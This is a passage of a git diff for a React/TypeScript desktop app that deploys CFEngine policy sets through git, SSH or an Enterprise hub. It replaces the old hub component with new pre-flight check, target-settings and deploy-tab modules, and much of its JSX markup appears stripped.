sm: 72 } }} + > + setNotice(null)}> + {notice} + + + + {plan && ( + setPlan(null)} + onShip={message => void ship(message)} /> - - {identity && ( - - )} - - - - Saves, builds and checks the policy set (step 1), copies it with your own ssh / scp (the chosen key, or your agent and ~/.ssh/config; never a prompt, so - a key with a passphrase must be in the agent), validates it on the hub with cf-promises, then makes it /var/cfengine/masterfiles and runs the agent - there. The login needs root or passwordless sudo. If the hub deploys from git, its next update replaces this — push to the repository instead. - - {run.action === 'ssh' && } - {state.phase === 'failed' && } - {state.phase === 'deployed' && ( - - {state.log.split('\n').slice(-60).join('\n') || 'Deployed.'} - )} - - ); -} - -function GitSummary({ git }: { git: GitStatus | null }) { - if (!git) return null; - if (!git.repo) return ; - if (!git.remote) return ; - if (git.behind > 0) return ; - if (git.ahead > 0) return ; - return ; -} - -function CommitStep(props: { - busy: string | null; - canCommit: boolean; - git: GitStatus | null; - onCommit: () => void; - onInit: () => void; - onPush: () => void; - onRemoteChange: (value: string) => void; - onSetRemote: () => void; - onSync: (mode: 'force' | 'rebase') => void; - onTextChange: (value: string) => void; - path: string | null; - // The last push was refused: the remote has commits this project doesn't. - rejected: boolean; - remote: string; - text: string; -}) { - const { busy, git } = props; - if (!props.path || !git) return null; - if (!git.repo) { - return ( - - This project folder isn’t a git repository yet. - - - ); - } - return ( - - props.onTextChange(event.target.value)} - slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} - /> - - - - {git.lastCommit ? `Last: “${git.lastCommit.subject}” · ${git.lastCommit.hash.slice(0, 7)}` : 'No commits yet'} - - - - props.onRemoteChange(event.target.value)} - sx={{ flex: 1 }} - slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + {settingsTarget && path && ( + { + setSettingsTarget(null); + void hub.refresh(); + }} /> - {props.remote.trim() !== (git.remote ?? '') && ( - - )} - - - {(git.behind > 0 || props.rejected) && ( - - - - - } - > - The remote has {git.behind > 0 ? `${git.behind} ${git.behind === 1 ? 'commit' : 'commits'}` : 'commits'} this project doesn’t. Pull them in under - yours (your commits are replayed on top, then pushed; the project reloads from disk), or overwrite the remote with yours (theirs are lost). - )} - - Pushing uses your own git credentials (SSH agent or credential helper); the app stores none. - - - ); -} - -function Chip({ text, tone }: { text: string; tone: Tone }) { - return ( - - - {text} - + ); } diff --git a/src/renderer/src/components/deploy/EnterpriseHub.tsx b/src/renderer/src/components/deploy/EnterpriseHub.tsx deleted file mode 100644 index e6d0bd3..0000000 --- a/src/renderer/src/components/deploy/EnterpriseHub.tsx +++ /dev/null @@ -1,568 +0,0 @@ -import { type ReactNode, useEffect, useState } from 'react'; - -import CheckCircleIcon from '@mui/icons-material/CheckCircle'; -import WarningAmberIcon from '@mui/icons-material/WarningAmber'; -import { Alert, Box, Button, CircularProgress, LinearProgress, MenuItem, Stack, TextField, Typography } from '@mui/material'; - -import type { GitStatus, HubProbe, HubState, SavedHub } from '../../../../preload/api'; -import { HUB_STAGES, startHubDeploy, useDeployRun } from '../../project/deployRuns'; - -type Failure = { details: string; message: string }; -const short = (hash: string | null | undefined) => (hash ? hash.slice(0, 7) : '?'); -// git@host:a/b.git, https://host/a/b(.git), git://host/a/b.git: compared without scheme, user and .git. -const sameRepo = (a: string, b: string) => { - const norm = (url: string) => - url - .trim() - .replace(/^[a-z+]+:\/\//, '') - .replace(/^[^@/]+@/, '') - .replace(':', '/') - .replace(/\.git\/?$/, '') - .toLowerCase(); - return Boolean(a && b) && norm(a) === norm(b); -}; - -const isSsh = (url: string) => /^(ssh:\/\/|[\w.-]+@[\w.-]+:)/.test(url.trim()); - -// git@host:owner/repo.git → https://host/owner/repo.git (for a public repository the hub then needs no key). -function httpsOf(url: string): string | null { - const scp = /^[\w.-]+@([\w.-]+):(.+)$/.exec(url.trim()); - const ssh = /^ssh:\/\/(?:[^@/]+@)?([\w.-]+)(?::\d+)?\/(.+)$/.exec(url.trim()); - const [, host, repoPath] = scp ?? ssh ?? []; - return host ? `https://${host}/${repoPath.replace(/^\/+/, '')}` : null; -} - -function Row({ children, tone }: { children: ReactNode; tone: 'success' | 'warning' }) { - return ( - - {tone === 'success' ? ( - - ) : ( - - )} - - {children} - - - ); -} - -function Failed({ failure }: { failure: Failure | null }) { - if (!failure) return null; - return ( - - {failure.message} - {failure.details && ( - - {failure.details} - - )} - - ); -} - -// Log in: URL, user, password; a self-signed certificate is shown to accept by fingerprint first. -function ConnectForm({ onConnected }: { onConnected: (hub: SavedHub, state: HubState) => void }) { - const [url, setUrl] = useState(''); - const [username, setUsername] = useState('admin'); - const [password, setPassword] = useState(''); - const [probe, setProbe] = useState(null); - const [busy, setBusy] = useState(false); - const [failure, setFailure] = useState(null); - - const connect = async (accepted: string | null) => { - setBusy(true); - setFailure(null); - try { - if (accepted === null) { - const checked = await window.api!.hubProbe(url); - if (!checked.ok) return setFailure(checked); - if (!checked.probe.trusted) return setProbe(checked.probe); - } - const result = await window.api!.hubConnect({ url, username, password, fingerprint: accepted }); - if (!result.ok) return setFailure(result); - onConnected(result.hub, result.state); - } finally { - setBusy(false); - } - }; - - return ( - - - { - setUrl(event.target.value); - setProbe(null); - }} - sx={{ flex: 2 }} - /> - setUsername(event.target.value)} sx={{ flex: 1 }} /> - setPassword(event.target.value)} sx={{ flex: 1 }} /> - - - {probe && ( - void connect(probe.fingerprint)}> - Trust and connect - - } - > - This computer doesn’t trust the hub’s certificate (self-signed{probe.subject ? `, “${probe.subject}”` : ''}, valid until {probe.validTo}). Trust it - only if this fingerprint is the hub’s: - - SHA-256 {probe.fingerprint} - - - )} - - - The password is kept encrypted in your system keychain. The user needs the VCS settings, CMDB and “run agent” permissions (admin has them). - - - ); -} - -// Points the hub at this project's repository: GIT_CFBS, so the hub builds it with cfbs itself. -function VcsForm({ - onCancel, - busy, - git, - onSave, - state -}: { - busy: boolean; - git: GitStatus | null; - // Back to the saved settings (while changing them). - onCancel?: () => void; - onSave: (settings: Parameters['hubConfigureVcs']>[1]) => void; - state: HubState; -}) { - const [repository, setRepository] = useState(git?.remote ?? ''); - const [branch, setBranch] = useState(git?.branch ?? 'main'); - const [subdirectory, setSubdirectory] = useState(''); - const [access, setAccess] = useState<'key' | 'none' | 'token'>('none'); - const [gitUsername, setGitUsername] = useState(''); - const [token, setToken] = useState(''); - const [keyFile, setKeyFile] = useState(''); - const replaces = state.vcs && !(state.vcs.type === 'GIT_CFBS' && sameRepo(state.vcs.url, repository)); - // Over SSH the hub needs a key: without one its ssh refuses the unknown host key, and hosts like GitHub refuse keyless SSH. - const sshWithoutKey = access !== 'key' && isSsh(repository); - const https = httpsOf(repository); - return ( - - - setRepository(event.target.value)} - helperText="As the hub reaches it: usually the project's origin" - sx={{ flex: 3 }} - slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} - /> - setBranch(event.target.value)} sx={{ flex: 1 }} /> - setSubdirectory(event.target.value)} - sx={{ flex: 1 }} - /> - - - setAccess(event.target.value as typeof access)} sx={{ width: 200 }}> - Public repository - Username + token - Deploy key (private key) - - {access === 'token' && ( - <> - setGitUsername(event.target.value)} sx={{ flex: 1 }} /> - setToken(event.target.value)} - sx={{ flex: 1 }} - /> - - )} - {access === 'key' && ( - <> - - - - )} - - {onCancel && ( - - )} - - - {sshWithoutKey && ( - setRepository(https)}> - Use {https.replace(/^https:\/\//, '')} - - ) : undefined - } - > - This is an SSH URL: the hub can only pull it with a deploy key. For a public repository use its https URL; otherwise choose “Deploy key”. - - )} - {replaces && ( - - Replaces the hub’s current source ({state.vcs!.type} {state.vcs!.url} @ {state.vcs!.refspec}). - - )} - - ); -} - -function DeployProgress({ stage }: { stage: string | null }) { - const index = Math.max( - 0, - HUB_STAGES.findIndex(item => item.id === stage) - ); - return ( - - - - - Step {index + 1} of {HUB_STAGES.length} · {HUB_STAGES[index].label}… - - - - - ); -} - -const isPushed = (git: GitStatus | null) => Boolean(git?.repo && git.lastCommit && git.ahead === 0 && git.changedFiles === 0 && git.remote); - -// What the hub runs against what's pushed, and whether there's anything left to push. -function PolicyRows({ fromThisProject, git, releaseId }: { fromThisProject: boolean; git: GitStatus | null; releaseId: string | null }) { - const pushed = isPushed(git); - const current = pushed && releaseId === git?.lastCommit?.hash; - return ( - <> - {releaseId && ( - - The hub runs policy {short(releaseId)} - {current ? ': your last pushed commit.' : git?.lastCommit ? `; your last commit is ${short(git.lastCommit.hash)}.` : '.'} - - {' '} - (The hub reports this every ~5 minutes.) - - - )} - {!pushed && fromThisProject && Commit and push first: the hub builds what’s in the repository, not your local edits.} - - ); -} - -function HubDeployResult({ run }: { run: ReturnType }) { - return ( - <> - {run.action === 'hub' && } - {run.hub.phase === 'failed' && } - {run.hub.phase === 'done' && ( - <> - {run.hub.deployed === 'yes' && ( - - The hub pulled, built and deployed the repository. Its hosts get the new policy on their next run (within ~5 minutes). - - )} - {run.hub.deployed === 'unknown' && ( - - The hub ran its agent, but its output (cut at 4 KB by the hub) doesn’t say how the deploy went. “The hub runs policy …” above shows the result - once the hub reports, within ~5 minutes. - - )} - {run.hub.deployed === 'no' && ( - - The hub couldn’t deploy. Its reason is only in the hub’s /var/cfengine/outputs/dc-scripts.log; the usual ones: - -
  • - An SSH repository URL without a deploy key: GitHub and most hosts refuse SSH without one (and the hub doesn’t know their host key). Use the - https URL, or a deploy key. -
  • -
  • A private repository without a token or key, or the hub can’t reach it.
  • -
  • The branch doesn’t exist, or cfbs build / cf-promises fails on the hub.
  • -
    -
    - )} - - {run.hub.output.trim() || '(no output)'} - - - )} - - ); -} - -// The hub deploys this project: from where, and whether it can pull it at all. -function ProjectSource({ onChange, vcs }: { onChange: () => void; vcs: NonNullable }) { - const https = httpsOf(vcs.url); - return ( - <> - - Deploys this project: {vcs.url} @ {vcs.refspec} (GIT_CFBS: the hub builds it with cfbs).{' '} - - - {isSsh(vcs.url) && !vcs.hasKey && ( - - Change - - } - > - The hub can’t pull this: it’s an SSH URL without a deploy key (the hub’s ssh refuses the unknown host key, and GitHub refuses keyless SSH). Switch to - the https URL{https ? ` (${https})` : ''} for a public repository, or add a deploy key. - - )} - - ); -} - -// Deploy now, only once the hub's saved settings are this project's. -function DeployNow({ - deploysEnabled, - disabled, - editing, - fromThisProject, - onDeploy, - running -}: { - deploysEnabled: boolean; - disabled: boolean; - editing: boolean; - fromThisProject: boolean; - onDeploy: () => void; - running: boolean; -}) { - return ( - - - {editing && Save the settings to the hub first: Deploy now uses what the hub has.} - {!deploysEnabled && fromThisProject && ( - - The first deploy also turns on deploys from version control (a CMDB class on the hub). - - )} - - ); -} - -/** - * Deployment's Enterprise hub tab: connect to Mission Portal's API, have the hub deploy this - * project from its git repository (GIT_CFBS), and Deploy now — what Mission Portal's Build app does. - */ -export function EnterpriseHub({ busy, git, path }: { busy: boolean; git: GitStatus | null; path: string }) { - const run = useDeployRun(path); - const storageKey = `cfpb.deploy.hub:${path}`; - const [hubs, setHubs] = useState(null); - const [url, setUrl] = useState(() => localStorage.getItem(storageKey)); - const [state, setState] = useState(null); - const [failure, setFailure] = useState(null); - const [editing, setEditing] = useState(false); - const [saving, setSaving] = useState(false); - const hub = hubs?.find(item => item.url === url) ?? null; - - useEffect(() => { - let current = true; - void window.api?.hubList().then(list => current && setHubs(list)); - return () => { - current = false; - }; - }, []); - - useEffect(() => { - if (!hub) return; - let current = true; - void window.api?.hubState(hub.url).then(result => { - if (!current) return; - if (result.ok) setState(result.state); - else setFailure(result); - }); - return () => { - current = false; - }; - }, [hub]); - - const choose = (next: string | null) => { - setUrl(next); - setState(null); - setFailure(null); - if (next) localStorage.setItem(storageKey, next); - else localStorage.removeItem(storageKey); - }; - - if (!window.api || hubs === null) return null; - if (!hub) { - return ( - { - setHubs([...hubs.filter(item => item.url !== saved.url), saved]); - choose(saved.url); - setState(connected); - }} - /> - ); - } - - const vcs = state?.vcs; - const fromThisProject = Boolean(vcs && vcs.type === 'GIT_CFBS' && git?.remote && sameRepo(vcs.url, git.remote) && vcs.refspec === git.branch); - const working = busy || saving || run.action !== null; - - return ( - - - - {state ? ( - <> - {state.info.hostname} · {hub.url.replace(/^https:\/\//, '')} · Enterprise {state.info.version} - {state.hosts !== null && ` · ${state.hosts} ${state.hosts === 1 ? 'host' : 'hosts'}`} - {state.info.license && ` · ${state.info.license}`} - - ) : ( - `Connecting to ${hub.url}…` - )} - - - - - - - {state && ( - <> - {fromThisProject && !editing && setEditing(true)} />} - {fromThisProject && !editing ? null : ( - <> - - {vcs ? ( - <> - The hub deploys from {vcs.type} {vcs.url || '(none)'} @ {vcs.refspec} - {vcs.type === 'GIT_CFBS' && sameRepo(vcs.url, git?.remote ?? '') ? ', another branch' : ', not this project'}. - - ) : ( - 'The hub isn’t set up to deploy from version control.' - )} - - {!git?.remote && ( - - Set the project’s remote and push first (Push to a git repository), so the hub has something to pull. - - )} - setEditing(false) : undefined} - busy={working} - git={git} - state={state} - onSave={settings => { - setSaving(true); - setFailure(null); - void window - .api!.hubConfigureVcs(hub.url, settings) - .then(result => { - if (result.ok) { - setState(result.state); - setEditing(false); - } else setFailure(result); - }) - .finally(() => setSaving(false)); - }} - /> - - )} - - - void startHubDeploy(path, hub.url, setState)} - /> - - - )} - - ); -} diff --git a/src/renderer/src/components/deploy/Preflight.tsx b/src/renderer/src/components/deploy/Preflight.tsx new file mode 100644 index 0000000..9b29c25 --- /dev/null +++ b/src/renderer/src/components/deploy/Preflight.tsx @@ -0,0 +1,69 @@ +import type { ReactNode } from 'react'; + +import { Box, ButtonBase, CircularProgress, Paper, Stack, Typography, alpha, useTheme } from '@mui/material'; + +import { StatusIcon, type Tone } from './shared'; + +export interface Check { + // Opened below the row on click. + detail?: ReactNode; + id: string; + label: string; + running?: boolean; + status: string; + tone: Tone; +} + +/** The checks in one row; one opens its detail below. */ +export function PreflightRow({ checks, onOpen, open }: { checks: Check[]; onOpen: (id: string | null) => void; open: string | null }) { + const theme = useTheme(); + const opened = checks.find(check => check.id === open && check.detail); + return ( + + + {checks.map((check, index) => { + const active = check.id === opened?.id; + return ( + onOpen(active ? null : check.id)} + sx={{ + flex: '1 1 0', + minWidth: 0, + justifyContent: 'flex-start', + textAlign: 'left', + px: 1.5, + py: 1.25, + gap: 1, + alignItems: 'flex-start', + borderLeft: index ? '1px solid' : 'none', + borderColor: 'divider', + bgcolor: active ? alpha(theme.palette.primary.main, 0.08) : 'transparent', + '&:hover': check.detail ? { bgcolor: alpha(theme.palette.primary.main, 0.05) } : undefined + }} + > + {check.running ? : } + + {check.label} + + {check.status} + + + + ); + })} + + {opened && {opened.detail}} + + ); +} diff --git a/src/renderer/src/components/deploy/TargetSettings.tsx b/src/renderer/src/components/deploy/TargetSettings.tsx new file mode 100644 index 0000000..3163606 --- /dev/null +++ b/src/renderer/src/components/deploy/TargetSettings.tsx @@ -0,0 +1,177 @@ +import { useState } from 'react'; + +import { Button, Dialog, DialogActions, DialogContent, DialogTitle, Stack, TextField, Typography } from '@mui/material'; + +import type { GitStatus } from '../../../../preload/api'; +import { type Failure, type SshTarget, forgetSshTarget, saveSshTarget, sshTargetOf } from '../../project/deployRuns'; +import { type HubHandle, HubSettings } from './hub'; +import { FailureAlert } from './shared'; + +// Where shipping goes: one per project. +export type Target = 'git' | 'hub' | 'ssh'; +export const TARGET_LABELS: Record = { git: 'Git repository', ssh: 'Hub over SSH', hub: 'Enterprise hub' }; +export const TARGET_TITLES: Record = { git: 'Git repository', ssh: 'Hub over SSH', hub: 'Enterprise hub' }; + +const REMOTE_URL = /^(?:(?:https?|ssh|git|file):\/\/\S+|[\w.-]+@[\w.-]+:\S+|\/\S+)$/; +const SSH_HOST = /^(?:[\w.-]+@)?[\w][\w.-]*$/; + +export function RemoteSettings({ git, onSaved, path }: { git: GitStatus | null; onSaved: (status: GitStatus) => void; path: string }) { + const [remote, setRemote] = useState(git?.remote ?? ''); + const [failure, setFailure] = useState(null); + const [busy, setBusy] = useState(false); + const save = async () => { + setBusy(true); + setFailure(null); + const result = await window.api!.gitSetRemote(path, remote.trim()); + setBusy(false); + if (result.ok) onSaved(result.status); + else setFailure(result); + }; + return ( + + + setRemote(event.target.value)} + helperText="Pushing uses your own git credentials (SSH agent or credential helper); the app stores none." + sx={{ flex: 1 }} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + + + + + ); +} + +export function SshSettings({ onSaved, path }: { onSaved: () => void; path: string }) { + const saved = sshTargetOf(path); + const [host, setHost] = useState(saved?.host ?? ''); + const [port, setPort] = useState(saved?.port ? String(saved.port) : ''); + const [key, setKey] = useState(saved?.key ?? ''); + const target: SshTarget = { host: host.trim(), port: port ? Number(port) : null, key: key || null }; + const valid = SSH_HOST.test(target.host) && (port === '' || (Number(port) > 0 && Number(port) < 65536)); + return ( + + + setHost(event.target.value)} + sx={{ flex: 1 }} + slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 13 } } }} + /> + setPort(event.target.value.replace(/\D/g, '').slice(0, 5))} + sx={{ width: 90 }} + /> + + + + + {key && ( + + )} + + + Deploying copies the built policy set with your own ssh / scp (never a prompt: a key with a passphrase must be in your agent), validates it on the hub, + makes it /var/cfengine/masterfiles and runs the agent there. The login needs root or passwordless sudo. A hub that deploys from git replaces it on its + next update. + + + {saved && ( + + )} + + + + ); +} + +/** The chosen target's settings: the git remote, the SSH host and key, or the hub's login and source. */ +export function TargetSettings({ + busy, + git, + hub, + onClose, + onGitStatus, + path, + target +}: { + busy: boolean; + git: GitStatus | null; + hub: HubHandle; + onClose: () => void; + onGitStatus: (status: GitStatus) => void; + path: string; + target: Target; +}) { + return ( + + {TARGET_TITLES[target]} + + + {target === 'git' && (onGitStatus(status), onClose())} />} + {target === 'ssh' && } + {target === 'hub' && ( + <> + + {!git?.remote && ( + The hub pulls from a git repository: set this project’s remote too. + )} + + )} + + + + + + + ); +} diff --git a/src/renderer/src/components/deploy/cards.tsx b/src/renderer/src/components/deploy/cards.tsx new file mode 100644 index 0000000..750f3c9 --- /dev/null +++ b/src/renderer/src/components/deploy/cards.tsx @@ -0,0 +1,187 @@ +import type { ReactNode } from 'react'; + +import RocketLaunchOutlinedIcon from '@mui/icons-material/RocketLaunchOutlined'; +import SettingsOutlinedIcon from '@mui/icons-material/SettingsOutlined'; +import { Box, Button, Paper, Stack, Tab, Tabs, Typography } from '@mui/material'; + +import type { GitStatus } from '../../../../preload/api'; +import { type DeployRun, sshTargetOf } from '../../project/deployRuns'; +import { TARGET_LABELS, type Target } from './TargetSettings'; +import { type HubHandle, cannotPull, deploysProject } from './hub'; +import { Line, StatusIcon, type Tone, ago, short } from './shared'; +import type { ShipPlan } from './ship'; + +type Status = { text: string; tone: Tone }; + +function gitLines(git: GitStatus | null, changes: number): Status[] { + if (!git) return [{ tone: 'muted', text: 'Reading git…' }]; + if (!git.repo) return [{ tone: 'warning', text: 'Not a git repository' }]; + if (!git.remote) return [{ tone: 'warning', text: 'No remote set' }]; + const sync: Status = + git.behind > 0 + ? { tone: 'warning', text: `${git.behind} new on the remote` } + : git.ahead > 0 + ? { tone: 'warning', text: `${git.ahead} ${git.ahead === 1 ? 'commit' : 'commits'} to push` } + : { tone: 'success', text: `In sync with ${git.upstream ?? 'origin'}` }; + const pending = changes || git.changedFiles; + return [ + { tone: 'muted', text: `${git.remote} · ${git.branch ?? '?'}` }, + sync, + pending ? { tone: 'warning', text: `${pending} ${pending === 1 ? 'change' : 'changes'} to commit` } : { tone: 'success', text: 'Nothing to commit' } + ]; +} + +function sshLines(path: string, run: DeployRun): Status[] { + const ssh = sshTargetOf(path); + if (!ssh) return [{ tone: 'warning', text: 'No hub set' }]; + const last: Status = + run.ssh.phase === 'deployed' + ? { tone: 'success', text: `Deployed ${ago(run.ssh.at)}` } + : run.ssh.phase === 'failed' + ? { tone: 'error', text: 'Last deploy failed' } + : run.ssh.phase === 'invalid' + ? { tone: 'error', text: 'Not deployed: the checks failed' } + : { tone: 'muted', text: 'Not deployed from here yet' }; + return [{ tone: 'muted', text: `${ssh.host}${ssh.port ? `:${ssh.port}` : ''}${ssh.key ? ' · own key' : ''}` }, last]; +} + +const hubName = (state: NonNullable): Status => ({ + tone: 'muted', + text: `${state.info.hostname} · Enterprise ${state.info.version}${state.hosts !== null ? ` · ${state.hosts} ${state.hosts === 1 ? 'host' : 'hosts'}` : ''}` +}); + +// What the hub runs against what's pushed. +function hubRuns(git: GitStatus | null, releaseId: string | null): Status { + if (!releaseId) return { tone: 'muted', text: 'No policy reported yet' }; + const head = git?.lastCommit?.hash; + if (head && releaseId === head && git?.ahead === 0) return { tone: 'success', text: `Runs ${short(releaseId)}, the latest` }; + return { tone: 'warning', text: `Runs ${short(releaseId)}${head ? ` · you’d ship ${short(head)}` : ''}` }; +} + +function hubLines(git: GitStatus | null, hub: HubHandle): Status[] { + if (!hub.hub) return [{ tone: 'warning', text: 'Not connected' }]; + const { state } = hub; + if (!state) return [{ tone: hub.failure ? 'error' : 'muted', text: hub.failure ? `Can’t reach ${hub.hub.url}` : `Connecting to ${hub.hub.url}…` }]; + if (!deploysProject(state, git)) return [hubName(state), { tone: 'warning', text: 'Deploys another source' }]; + if (cannotPull(state)) return [hubName(state), { tone: 'error', text: 'Can’t pull: an SSH URL without a deploy key' }]; + return [hubName(state), { tone: 'success', text: `Deploys this project’s ${state.vcs!.refspec}` }, hubRuns(git, state.releaseId)]; +} + +export function statusLines({ + changes, + git, + hub, + path, + run, + target +}: { + changes: number; + git: GitStatus | null; + hub: HubHandle; + path: string; + run: DeployRun; + target: Target; +}) { + if (target === 'git') return gitLines(git, changes); + return target === 'ssh' ? sshLines(path, run) : hubLines(git, hub); +} + +const HINTS: Record = { + git: 'Commit and push; a hub on GIT_CFBS deploys from the repository.', + ssh: 'Copy the built policy set to a hub as its masterfiles.', + hub: 'Point a hub at the repository and deploy now.' +}; + +export interface DeployWay { + lines: Status[]; + plan: ShipPlan; + // Not set up yet: its setup form, shown in place of the status and action. + setup?: ReactNode; + target: Target; +} + +// A tab shows its way's worst status. +const RANK: Record = { error: 3, warning: 2, success: 1, muted: 0 }; +const worst = (lines: Status[]): Tone => lines.reduce((tone, line) => (RANK[line.tone] > RANK[tone] ? line.tone : tone), 'muted'); + +/** The ways to deploy as tabs, each named with its status: what it's set to, where it stands, and its one action. */ +export function DeployTabs({ + busy, + onSettings, + onShip, + onTab, + tab, + ways +}: { + busy: boolean; + onSettings: (target: Target) => void; + onShip: (target: Target) => void; + onTab: (target: Target) => void; + tab: Target; + ways: DeployWay[]; +}) { + const way = ways.find(item => item.target === tab) ?? ways[0]; + const { plan } = way; + const action = plan.blocked?.action; + return ( + + onTab(value)} + sx={{ px: 1, minHeight: 44, borderBottom: '1px solid', borderColor: 'divider' }} + > + {ways.map(item => ( + } + label={TARGET_LABELS[item.target]} + sx={{ minHeight: 44, textTransform: 'none', fontSize: 14, gap: 0.5 }} + /> + ))} + + {way.setup ? ( + + {HINTS[way.target]} + {way.setup} + + ) : ( + + + {HINTS[way.target]} + {way.lines.map(line => ( + + {line.text} + + ))} + + + + + {action ? ( + + ) : ( + + )} + + {plan.blocked && {plan.blocked.reason}} + + + )} + + ); +} diff --git a/src/renderer/src/components/deploy/checks.tsx b/src/renderer/src/components/deploy/checks.tsx new file mode 100644 index 0000000..0941de7 --- /dev/null +++ b/src/renderer/src/components/deploy/checks.tsx @@ -0,0 +1,187 @@ +import { Box, Button, Stack, Typography } from '@mui/material'; + +import type { BuildResult, GitStatus } from '../../../../preload/api'; +import { BUILD_STAGES, type DeployRun, isValid } from '../../project/deployRuns'; +import type { ProjectChange } from '../../project/projectChanges'; +import type { Check } from './Preflight'; +import { type BlockAt, ChangeList, FailureAlert, Line, ProblemList, ago, short } from './shared'; + +type LastRun = { at: number; content: string; hosts: number; passed: boolean | null } | null; + +export const savedCheck = (dirty: boolean): Check => + dirty + ? { id: 'saved', label: 'Saved', tone: 'warning', status: 'Unsaved edits (pre-flight saves)' } + : { id: 'saved', label: 'Saved', tone: 'success', status: 'All saved' }; + +// The last Deploy & run on test hosts, and whether it ran these edits. +export function testedCheck({ content, onOpenTests, run }: { content: string; onOpenTests: () => void; run: LastRun }): Check { + const base = { id: 'tested', label: 'Tested' }; + const open = ( + + ); + if (!run) return { ...base, tone: 'warning', status: 'Not run yet', detail: open }; + if (run.passed === null) return { ...base, tone: 'muted', running: true, status: 'Deploy & run is running' }; + const hosts = `${run.hosts} ${run.hosts === 1 ? 'host' : 'hosts'}`; + if (run.content !== content) return { ...base, tone: 'warning', status: `Edited since (${ago(run.at)})`, detail: open }; + return run.passed + ? { ...base, tone: 'success', status: `Passed on ${hosts} (${ago(run.at)})`, detail: open } + : { ...base, tone: 'error', status: `Problems on ${hosts} (${ago(run.at)})`, detail: open }; +} + +// "valid (local CFEngine)", "skipped: no CFEngine or Docker". +const promisesText = (promises: BuildResult['promises']) => + promises.ok === null + ? `skipped. ${promises.message ?? ''}` + : promises.ok + ? `valid (${promises.how === 'docker' ? 'in a test-host image' : 'local CFEngine'})` + : `${promises.problems.length || 'some'} errors`; + +export function validCheck({ + blockAt, + content, + isModule, + onReveal, + onShowBlock, + run +}: { + blockAt: BlockAt; + content: string; + isModule: boolean; + onReveal: (file: string) => void; + onShowBlock: (fileId: string, id: string) => void; + run: DeployRun; +}): Check { + const base = { id: 'valid', label: 'Valid policy' }; + if (isModule) return { ...base, tone: 'muted', status: 'Built by the policy set that uses it' }; + const building = run.action === 'build' || (run.action === 'ssh' && BUILD_STAGES.some(stage => stage.id === run.stage)); + if (building) return { ...base, tone: 'muted', running: true, status: BUILD_STAGES.find(stage => stage.id === run.stage)?.label ?? 'Checking…' }; + if (run.buildFailure) return { ...base, tone: 'error', status: 'Build failed', detail: }; + const { build } = run; + if (!build) return { ...base, tone: 'muted', status: 'Not checked yet' }; + const stale = run.builtFrom !== content; + const problems = [...build.lint.problems, ...build.promises.problems]; + const detail = ( + + {stale && The project changed since this check: Run pre-flight to check it again.} + Linter: {build.lint.ok ? 'no problems' : `${build.lint.problems.length} problems`} + cf-promises: {promisesText(build.promises)} + {problems.length > 0 && } + {build.tarball && ( + + + {build.tarball} + + + + )} + + ); + if (!isValid(run)) return { ...base, tone: 'error', status: `${problems.length || 'Some'} problems`, detail }; + if (stale) return { ...base, tone: 'warning', status: 'Out of date', detail }; + return { + ...base, + tone: build.promises.ok === null ? 'warning' : 'success', + status: build.promises.ok === null ? 'Builds (cf-promises skipped)' : 'Checks out', + detail + }; +} + +export function committedCheck({ changes, git, onInit }: { changes: ProjectChange[]; git: GitStatus | null; onInit: () => void }): Check { + const base = { id: 'committed', label: 'Committed' }; + if (!git) return { ...base, tone: 'muted', status: '…' }; + if (!git.repo) { + return { + ...base, + tone: 'warning', + status: 'No git repository', + detail: ( + + This project folder isn’t a git repository yet. + + + ) + }; + } + const pending = changes.length || git.changedFiles; + if (!pending) return { ...base, tone: 'success', status: git.lastCommit ? `${short(git.lastCommit.hash)} · ${git.lastCommit.subject}` : 'Nothing to commit' }; + return { + ...base, + tone: 'warning', + status: changes.length + ? `${changes.length} ${changes.length === 1 ? 'change' : 'changes'} not committed` + : `${git.changedFiles} ${git.changedFiles === 1 ? 'file' : 'files'} not committed`, + detail: ( + + {changes.length > 0 && } + {git.changedPaths.length > 0 && ( + + Changed files:{' '} + + {git.changedPaths.join(', ')} + + + )} + + ) + }; +} + +export function pushedCheck({ + busy, + git, + onSettings, + onSync, + rejected +}: { + busy: boolean; + git: GitStatus | null; + onSettings: () => void; + onSync: (mode: 'force' | 'rebase') => void; + rejected: boolean; +}): Check { + const base = { id: 'pushed', label: 'Pushed' }; + if (!git?.repo) return { ...base, tone: 'muted', status: 'No repository' }; + if (!git.remote) { + return { + ...base, + tone: 'warning', + status: 'No remote', + detail: ( + + ) + }; + } + if (git.behind > 0 || rejected) { + return { + ...base, + tone: 'warning', + status: git.behind > 0 ? `${git.behind} new on the remote` : 'The remote has commits you don’t', + detail: ( + + + Pull them in under yours (your commits are replayed on top, pushed, and the project reloads from disk), or overwrite the remote with yours (theirs + are lost). + + + + + + + ) + }; + } + if (git.ahead > 0) return { ...base, tone: 'warning', status: `${git.ahead} ${git.ahead === 1 ? 'commit' : 'commits'} to push` }; + return { ...base, tone: 'success', status: `In sync (${git.upstream ?? 'origin'})` }; +} diff --git a/src/renderer/src/components/deploy/hub.tsx b/src/renderer/src/components/deploy/hub.tsx new file mode 100644 index 0000000..40ea356 --- /dev/null +++ b/src/renderer/src/components/deploy/hub.tsx @@ -0,0 +1,406 @@ +import { useEffect, useState } from 'react'; + +import { Alert, Box, Button, MenuItem, Stack, TextField, Typography } from '@mui/material'; + +import type { GitStatus, HubProbe, HubState, SavedHub } from '../../../../preload/api'; +import type { Failure, HubDeploy } from '../../project/deployRuns'; +import { FailureAlert, Line, Output } from './shared'; + +// git@host:a/b.git, https://host/a/b(.git), git://host/a/b.git: compared without scheme, user and .git. +export const sameRepo = (a: string, b: string) => { + const norm = (url: string) => + url + .trim() + .replace(/^[a-z+]+:\/\//, '') + .replace(/^[^@/]+@/, '') + .replace(':', '/') + .replace(/\.git\/?$/, '') + .toLowerCase(); + return Boolean(a && b) && norm(a) === norm(b); +}; + +export const isSsh = (url: string) => /^(ssh:\/\/|[\w.-]+@[\w.-]+:)/.test(url.trim()); + +// git@host:owner/repo.git → https://host/owner/repo.git (for a public repository the hub then needs no key). +export function httpsOf(url: string): string | null { + const scp = /^[\w.-]+@([\w.-]+):(.+)$/.exec(url.trim()); + const ssh = /^ssh:\/\/(?:[^@/]+@)?([\w.-]+)(?::\d+)?\/(.+)$/.exec(url.trim()); + const [, host, repoPath] = scp ?? ssh ?? []; + return host ? 